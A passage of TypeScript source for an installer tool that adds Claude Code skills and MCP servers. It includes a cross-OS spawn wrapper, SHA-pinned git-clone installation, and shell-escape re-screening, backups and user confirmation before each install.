${violation.label}`,\n 'security-gate-bypass',\n ),\n }\n }\n const vr = await new Promise<ProcResult>((resolve) => {\n const child = spawn(verifyShell, [verifyFlag, verifyLine], { cwd: ctx.cwd, windowsHide: true })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 15_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n if (vr.exitCode !== 0) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsFile] }\n}\n","// Phase 1.2 cross-OS spawn wrapper per ADR 0004 contract 6 + Pattern D + H.\n//\n// IMPL NOTE (Rule 1 / R03 § 3.7): Windows uses `cmd.exe /c <cmd> <args...>`\n// because npm/npx/claude shipped as .cmd shims under Win, and POSIX-style\n// `/bin/sh -c` is unavailable on raw Win (only inside Git-Bash/WSL). Unix\n// uses `/bin/sh -c \"<cmd> <joined-args>\"` so single-string cmds with pipes /\n// redirections still work consistently with what users typed in the manifest.\n//\n// IMPL NOTE (Rule 1 / B1 hotfix defense-in-depth, PATTERNS Pattern D pre-pass):\n// re-run `checkCmdString()` on the cmd right before spawn(). The phase 1.1.1\n// security gate in `validate.ts` already screens manifests, but a future\n// caller (phase 1.4 routing-engine / test harnesses / direct installer use\n// without validate.ts) might hand us an unvalidated cmd. Refuse to spawn\n// shell-escape patterns even at this layer — InstallResult `phase: 'preflight'`\n// + keyword `'security'` returned, never thrown.\n//\n// Pattern C: returns Result-shaped object {ok:true|false} — no throws on\n// expected paths (timeout, non-zero exit, security gate). Unexpected errors\n// (e.g. cmd binary not found / EACCES) bubble out as throws — the caller\n// (installer dispatch) catches and wraps.\n\nimport { type ChildProcess, spawn } from 'node:child_process'\nimport { checkCmdString } from '../../manifest/security.js'\nimport type { InstallContext, InstallResult } from './types.js'\n\nconst DEFAULT_TIMEOUT_MS = 15_000\n\nexport interface SpawnOk {\n ok: true\n exitCode: number\n stdout: string\n stderr: string\n}\n\n/**\n * Spawn `cmd args...` under the platform's default shell with B1 defense-\n * in-depth, env injection, cwd from manifest, and timeout (default 15s,\n * overridable via spec.verify.timeout_ms).\n *\n * Returns:\n * - `SpawnOk` on completion (any exit code; caller decides if non-zero\n * means failure based on context — install vs verify vs idempotent_check)\n * - `InstallResult` failure shape on security gate / timeout\n */\nexport async function spawnCmd(\n ctx: InstallContext,\n cmd: string,\n args: string[],\n): Promise<SpawnOk | InstallResult> {\n // 1. B1 defense-in-depth — re-check the literal cmd string for shell escapes.\n const violation = checkCmdString(cmd)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `shell escape detected at spawn boundary: '${violation.label}' (${violation.hint}) — refusing to execute. v0.1 forbids dynamic shell evaluation; this is a defense-in-depth gate after schema validation.`,\n line: null,\n column: null,\n keyword: 'security-gate-bypass',\n },\n }\n }\n\n // 2. Platform branch — Win cmd.exe vs POSIX /bin/sh.\n const installCfg = ctx.manifest.spec.install\n const verifyCfg = ctx.manifest.spec.verify\n const timeoutMs = verifyCfg.timeout_ms ?? DEFAULT_TIMEOUT_MS\n const env = { ...process.env, ...(installCfg.env ?? {}) }\n const cwd = installCfg.cwd ?? ctx.cwd\n\n let child: ChildProcess\n if (process.platform === 'win32') {\n child = spawn('cmd.exe', ['/c', cmd, ...args], { cwd, env, windowsHide: true })\n } else {\n const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n child = spawn('/bin/sh', ['-c', joined], { cwd, env })\n }\n\n // 3. Collect stdout/stderr + race against timeout.\n let stdout = ''\n let stderr = ''\n child.stdout?.setEncoding('utf8').on('data', (chunk: string) => {\n stdout += chunk\n })\n child.stderr?.setEncoding('utf8').on('data', (chunk: string) => {\n stderr += chunk\n })\n\n return await new Promise<SpawnOk | InstallResult>((resolve) => {\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn timed out after ${timeoutMs}ms (cmd: ${cmd}); partial stderr: ${stderr.slice(0, 200)}`,\n line: null,\n column: null,\n keyword: 'spawn-timeout',\n },\n })\n }, timeoutMs)\n\n child.on('error', (err) => {\n clearTimeout(timer)\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn failed: ${err.message}`,\n line: null,\n column: null,\n keyword: 'spawn-error',\n },\n })\n })\n\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ ok: true, exitCode: code ?? -1, stdout, stderr })\n })\n })\n}\n","// Phase 2.1 install method 4/6 — cc-skill-pack × git-clone-with-setup per ADR\n// 0004 § 5 + ADR 0007 install_type=git + ADR 0010 errata D-15.\n//\n// IMPL NOTE (Rule 1 / D-15): git_ref HEAD/main/master rejection is ALREADY\n// enforced by preflight.ts (git_ref shape regex). We do NOT re-implement that\n// here. Between spawn and verify we ADD a `git rev-parse HEAD` SHA-match\n// step (inline ≤10 lines per D-15 — only one caller; lib/gitVerify.ts would be\n// YAGNI). Mismatch → InstallError keyword:'sha-mismatch'.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; spawnCmd handles cross-OS\n// shell + B1 defense-in-depth in one place. Mirrors npmCli architecture.\n//\n// IMPL NOTE (Rule 1 / pure-create backup): git-clone creates new dirs (does\n// not edit existing files). DiffPlan.files entries use `oldText:''` per the\n// types.ts contract — backup writes a \"pure-create sentinel\" so rollback can\n// `rm -rf` the cloned dir.\n//\n// IMPL NOTE (Rule 1 / strict SHA pin per ADR 0001 版本锁哲学): the schema\n// regex permits SHA(7-40 hex) OR SemVer (v1.2.3); this installer enforces the\n// stricter SHA-only invariant for git_ref because `git rev-parse HEAD` after\n// `git clone --branch <tag>` produces a SHA, and SHA↔tag is not an authority\n// match — the SHA IS the authority. Real manifests already follow this:\n// ui-ux-pro-max.yaml + gstack.yaml both pin full 40-hex SHA. SemVer values\n// reaching this code path are surfaced as an installer-layer error (NOT a\n// silent skip), aligned with ADR 0001's reproducibility requirement.\n\nimport { spawn } from 'node:child_process'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// D-15 inline SHA-verify. Runs `git rev-parse HEAD` in the cloned dir,\n// compares against the manifest's git_ref. Only invoked after a successful\n// clone; called once per install — no lib helper warranted (YAGNI).\nfunction gitRevParseHead(cwd: string, timeoutMs = 10_000): Promise<{ sha: string; exit: number }> {\n return new Promise((resolve) => {\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'git', 'rev-parse', 'HEAD'], { cwd, windowsHide: true })\n : spawn('git', ['rev-parse', 'HEAD'], { cwd, shell: false })\n let stdout = ''\n child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n stdout += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ sha: '', exit: -1 })\n }, timeoutMs)\n child.on('error', () => {\n clearTimeout(timer)\n resolve({ sha: '', exit: -1 })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ sha: stdout.trim(), exit: code ?? -1 })\n })\n })\n}\n\n// Extract the target clone directory from the manifest cmd. Required: we\n// must know the directory to run `git rev-parse HEAD` against post-clone. If\n// the cmd shape can't be parsed, we fail preflight clearly (no silent\n// fallback). Walks `git clone [flags] <url> <dest>` to find <dest>.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n // tokens[i] is the URL; tokens[i+1] is the dest. End-of-clause guards\n // (&&, ;, |) means the manifest omitted dest — git would default to a\n // repo-name dir in cwd, which is fragile; require explicit dest.\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const installGitCloneWithSetup: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installGitCloneWithSetup received non-git-clone-with-setup method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // Strict SHA-pin (ADR 0001 + D-15). Schema regex permits SemVer too, but\n // this installer enforces the tighter invariant: rev-parse HEAD returns a\n // SHA, so the authority must be a SHA. SemVer git_ref → preflight-layer error.\n if (!/^[a-f0-9]{7,40}$/.test(install.git_ref)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/git_ref',\n `git-clone-with-setup requires a full SHA git_ref (7-40 hex), got '${install.git_ref}' (ADR 0001 reproducibility — SHA is the only stable authority for git_rev-parse HEAD verification)`,\n 'sha-required',\n ),\n suggest: `pin git_ref to a 40-hex commit SHA from the upstream repo (e.g. \\`git rev-parse <tag-or-branch>\\` in the source)`,\n },\n }\n }\n\n // Parse clone target from cmd. Required for D-15 SHA-verify cwd; fail clear\n // if the manifest cmd shape is unsupported (`git clone <url> <dest>`).\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd does not contain a parseable \\`git clone <url> <dest>\\` invocation; D-15 SHA-verify requires an explicit destination directory`,\n 'git-clone-shape',\n ),\n suggest: 'use `git clone [flags] <url> <dest>` with an explicit destination directory',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan:\n // oldText:'' so backup writes a sentinel; rollback = `rm -rf` cloned dir.\n const name = ctx.manifest.metadata.name\n const plan: DiffPlan = {\n files: [\n {\n target: cloneTarget,\n scope: 'HOME',\n oldText: '',\n newText: `// new directory created by: ${install.cmd}\\n// pinned at git_ref ${install.git_ref}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Run the manifest cmd as-is (rm + git clone + cp + cleanup pipeline).\n // spawnCmd handles cross-OS shell + B1 re-screen. cmd is single string.\n const sp = await spawnCmd(ctx, install.cmd, [])\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D-15 — SHA-verify. `git rev-parse HEAD` in clone target dir; match the\n // manifest git_ref by prefix (git's standard SHA-prefix semantics — a\n // 7-hex prefix is a valid name for the full 40-hex commit).\n const rp = await gitRevParseHead(cloneTarget)\n if (rp.exit !== 0 || !rp.sha) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git rev-parse HEAD failed in ${cloneTarget} (exit ${rp.exit}); cannot verify SHA pin '${install.git_ref}'`,\n 'sha-mismatch',\n ),\n }\n }\n if (!rp.sha.startsWith(install.git_ref)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git_ref SHA mismatch: manifest pinned '${install.git_ref}' but HEAD is '${rp.sha}' in ${cloneTarget}`,\n 'sha-mismatch',\n ),\n }\n }\n\n // verify cmd (e.g. `test -f ~/.claude/skills/<name>/SKILL.md`).\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [])\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [cloneTarget] }\n}\n","// Phase 2.1 install method 3/6 — mcp-npm × mcp-http-add per ADR 0004 § 5 + ADR 0010 errata.\n//\n// IMPL NOTE (Rule 1 / CC #54803): mandatory --scope project; user scope is\n// broken (rules silently land in ~/.claude.json but Claude Code fails to read\n// them back). hardcoded `--scope project` here cannot be overridden by manifest\n// fields — the manifest cmd string is treated as audit-trail only; we\n// authoritatively reconstruct the args array. Mirrors mcpStdioAdd discipline.\n//\n// IMPL NOTE (Rule 1 / D-16 — env-resolution carve-out): `--header` values may\n// carry `${ENV_VAR}` references that look like shell escapes to B1's\n// checkCmdString. We resolve `${VAR}` from `process.env` BEFORE arg\n// construction, so the post-construction B1 re-screen sees plain values only.\n// Unset env var → InstallError keyword:'env-unset' before we touch the network.\n//\n// IMPL NOTE (Rule 1 / D-15 hot path): schema does NOT carry typed `url` or\n// `headers` fields (the install method schema has only cmd/cwd/env/args/\n// npm_version/idempotent_check). We extract the URL and headers by parsing\n// the manifest `install.cmd` string (already B1-screened by schema validate).\n// This matches the architectural discipline of \"cmd is audit-trail; we\n// reconstruct args authoritatively\". Headers parsing is conservative:\n// `--header \"Key: Value\"` (quoted) or `--header Key:\\ Value` (escaped).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. Same posture as\n// mcpStdioAdd.\n\nimport { spawn } from 'node:child_process'\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport type { ProcResult } from './lib/runClaudeArgs.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// D-16 — resolve ${ENV_VAR} placeholders from process.env BEFORE arg\n// construction. Returns either the resolved value or throws-style {error}.\n// Result `{ ok: false, missing: string }` lets the caller emit a clear\n// InstallError with keyword:'env-unset' (single-cause failure, no fallback).\nfunction resolveEnvVars(\n value: string,\n): { ok: true; resolved: string } | { ok: false; missing: string } {\n const pattern = /\\$\\{([A-Z_][A-Z0-9_]*)\\}/g\n let resolved = value\n let match: RegExpExecArray | null\n pattern.lastIndex = 0\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((match = pattern.exec(value)) !== null) {\n const name = match[1]\n if (name === undefined) continue\n const v = process.env[name]\n if (v === undefined || v === '') {\n return { ok: false, missing: name }\n }\n resolved = resolved.replace(match[0], v)\n }\n return { ok: true, resolved }\n}\n\n// Parse `--header \"Key: Value\"` (quoted) or `--header Key:Value` tokens out of\n// the manifest cmd. Returns a flat header list ['--header','K: V', ...]\n// suitable for direct `claude mcp add` invocation. ${ENV_VAR} resolved here.\nfunction resolveHeaders(\n cmd: string,\n): { ok: true; flat: string[] } | { ok: false; missing: string } {\n const flat: string[] = []\n // Match: --header \"...\" OR --header '...' OR --header <non-space-token>\n const re = /--header\\s+(?:\"([^\"]+)\"|'([^']+)'|(\\S+))/g\n let m: RegExpExecArray | null\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((m = re.exec(cmd)) !== null) {\n const raw: string | undefined = m[1] ?? m[2] ?? m[3]\n if (raw === undefined || raw.length === 0) continue\n const res = resolveEnvVars(raw)\n if (!res.ok) return { ok: false, missing: res.missing }\n flat.push('--header', res.resolved)\n }\n return { ok: true, flat }\n}\n\n// Extract URL from cmd. mcp-http-add cmd shape (CC docs / ADR 0001 / phase 2.1\n// research): `claude mcp add --scope project --transport http <name> <url>\n// [--header \"...\"]...`. We pick the first http(s):// token.\nfunction extractUrl(cmd: string): string | null {\n const m = cmd.match(/\\bhttps?:\\/\\/\\S+/)\n return m ? m[0] : null\n}\n\nexport const installMcpHttpAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpHttpAdd received non-mcp-http-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const url = extractUrl(install.cmd)\n if (!url) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add cmd missing http(s):// URL token (parsed from install.cmd: '${install.cmd.slice(0, 80)}')`,\n 'http-url-missing',\n ),\n }\n }\n\n // D-16: resolve --header ${ENV_VAR} BEFORE constructing addArgs. Unset env\n // var → fail clear, do not silently drop the header (would expose a public\n // unauth call to a presumed-auth server).\n const hdr = resolveHeaders(install.cmd)\n if (!hdr.ok) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add --header references unset env var '${hdr.missing}'; set it (export ${hdr.missing}=...) or remove the header from the manifest`,\n 'env-unset',\n ),\n suggest: `export ${hdr.missing}=<value> && harnessed install <name>`,\n },\n }\n }\n\n // Authoritative args — `--scope project` hardcoded (D-12, CC #54803,\n // transport-agnostic broken-user-scope). manifest cmd is informational only.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'project',\n '--transport',\n 'http',\n ...hdr.flat,\n name,\n url,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. Header values were\n // env-resolved above, so no ${VAR} pattern reaches this check; URL is a\n // plain http(s) string.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-http-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // L3 fixed — diff shows .mcp.json will gain an entry. We simulate the entry\n // textually rather than calling `claude mcp add --dry-run` (CLI flag not\n // documented; unstable contract). Entry shape per CC spec:\n // { [name]: { type: 'http', url, headers: {Key:Value} } } — non-stdio.\n const mcpFile = `${ctx.cwd}/.mcp.json`\n // Reassemble headers as an object for the diff preview (purely informational).\n const headersObj: Record<string, string> = {}\n for (let i = 0; i < hdr.flat.length; i += 2) {\n const kv = hdr.flat[i + 1]\n if (!kv) continue\n const ci = kv.indexOf(':')\n if (ci > 0) headersObj[kv.slice(0, ci).trim()] = kv.slice(ci + 1).trim()\n }\n const entry =\n Object.keys(headersObj).length > 0\n ? { [name]: { type: 'http', url, headers: headersObj } }\n : { [name]: { type: 'http', url } }\n const newEntry = JSON.stringify(entry, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'PROJECT',\n oldText: '',\n newText: `// will be merged into .mcp.json mcpServers map by \\`claude mcp add\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n const r = await runArgs(addArgs, install.cwd ?? ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add (http) exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // Verify via `claude mcp list` exit code piped through `grep -q <name>`.\n // For OAuth-authenticated servers a `claude mcp get <name>` exposes the\n // pending-auth surface, but exit-code-on-`mcp list` is the stable contract\n // matching mcpStdioAdd verify pattern (C2 discipline).\n const verifyShell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh'\n const verifyFlag = process.platform === 'win32' ? '/c' : '-c'\n const verifyLine = `claude mcp list | grep -q ${name}`\n const violation = checkCmdString(verifyLine)\n if (violation) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify shell escape: ${violation.label}`,\n 'security-gate-bypass',\n ),\n }\n }\n const vr = await new Promise<ProcResult>((resolve) => {\n const child = spawn(verifyShell, [verifyFlag, verifyLine], { cwd: ctx.cwd, windowsHide: true })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 15_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n if (vr.exitCode !== 0) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 2/2 — mcp-npm × mcp-stdio-add per ADR 0004 § 5.\n//\n// IMPL NOTE (Rule 1 / CC #54803): mandatory --scope project; user scope is\n// broken in v2.1.122 (rules silently land in ~/.claude.json but Claude Code\n// fails to read them back). hardcoded `--scope project` here cannot be\n// overridden by manifest fields — the manifest cmd string is treated as\n// audit-trail only; we authoritatively reconstruct the args array.\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): we bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. This catches any\n// future caller (phase 1.4 routing, test harness) that hands us a manifest\n// where metadata.upstream.source / metadata.name / install.npm_version\n// contains shell escapes — the schema-level B1 gate did not screen these\n// non-cmd fields, so the runtime gate must.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C2): verify uses `claude mcp list` exit\n// code via `grep -q <name>` — we do NOT parse stdout. The CLI's textual\n// output format is not a stable contract; exit code is.\n\nimport { spawn } from 'node:child_process'\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport type { ProcResult } from './lib/runClaudeArgs.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\nexport const installMcpStdioAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpStdioAdd received non-mcp-stdio-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const pkg = ctx.manifest.metadata.upstream.source\n const ver = install.npm_version\n // Authoritative args — `--scope project` hardcoded per ADR 0004 § 5 + CC #54803.\n // The manifest's install.cmd string is informational only; we never invoke it.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'project',\n '--transport',\n 'stdio',\n name,\n '--',\n 'npx',\n '--yes',\n `${pkg}@${ver}`,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. metadata.name and\n // metadata.upstream.source pass through B1 only as YAML scalars; never as\n // shell tokens. Re-check in case a future schema change relaxes those fields.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // L3 fixed — diff shows .mcp.json will gain an entry. We simulate the entry\n // textually rather than calling `claude mcp add --dry-run` (CLI flag not\n // documented in v2.1; relying on it would be an unstable contract).\n const mcpFile = `${ctx.cwd}/.mcp.json`\n const newEntry = JSON.stringify(\n { [name]: { type: 'stdio', command: 'npx', args: ['--yes', `${pkg}@${ver}`] } },\n null,\n 2,\n )\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'PROJECT',\n oldText: '',\n newText: `// will be merged into .mcp.json mcpServers map by \\`claude mcp add\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n const r = await runArgs(addArgs, install.cwd ?? ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // Verify via `claude mcp list` exit code piped through `grep -q <name>`.\n // We invoke a small shell snippet (Win cmd.exe /c, Unix /bin/sh -c) just for\n // the pipe; arg list is whitelisted.\n const verifyShell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh'\n const verifyFlag = process.platform === 'win32' ? '/c' : '-c'\n const verifyLine = `claude mcp list | grep -q ${name}`\n const violation = checkCmdString(verifyLine)\n if (violation) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify shell escape: ${violation.label}`,\n 'security-gate-bypass',\n ),\n }\n }\n // Verify shell can't use runArgs (it always prefixes 'claude'); spawn the\n // pipe-runner shell directly. Args have been B1-checked above.\n const vr = await new Promise<ProcResult>((resolve) => {\n const child = spawn(verifyShell, [verifyFlag, verifyLine], { cwd: ctx.cwd, windowsHide: true })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 15_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n if (vr.exitCode !== 0) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n 